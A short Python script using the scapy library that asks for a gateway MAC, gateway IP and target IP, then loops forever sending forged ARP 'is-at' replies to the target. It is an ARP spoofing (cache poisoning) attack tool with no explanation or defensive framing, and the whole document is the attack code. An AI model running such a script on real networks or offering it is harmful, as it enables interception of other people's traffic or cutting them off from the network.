1 from scapy.all import *
2 def function():
3 gmac=raw_input("pleate getway mac: ")
4 gatway=raw_input("pleate getway IP: ")
5 target=raw_input("pleate target IP: ")
6 tg=getmacbyip(target)
7 eth=Ether()
8 arp=ARP(
9 op='is-at',
10 hwsrc=gmac,
11 psrc=gatway,
12 hwdst=tg,
13 pdst=target
14 )
15 sendp(eth/arp,inter=1,loop=1)
16 function()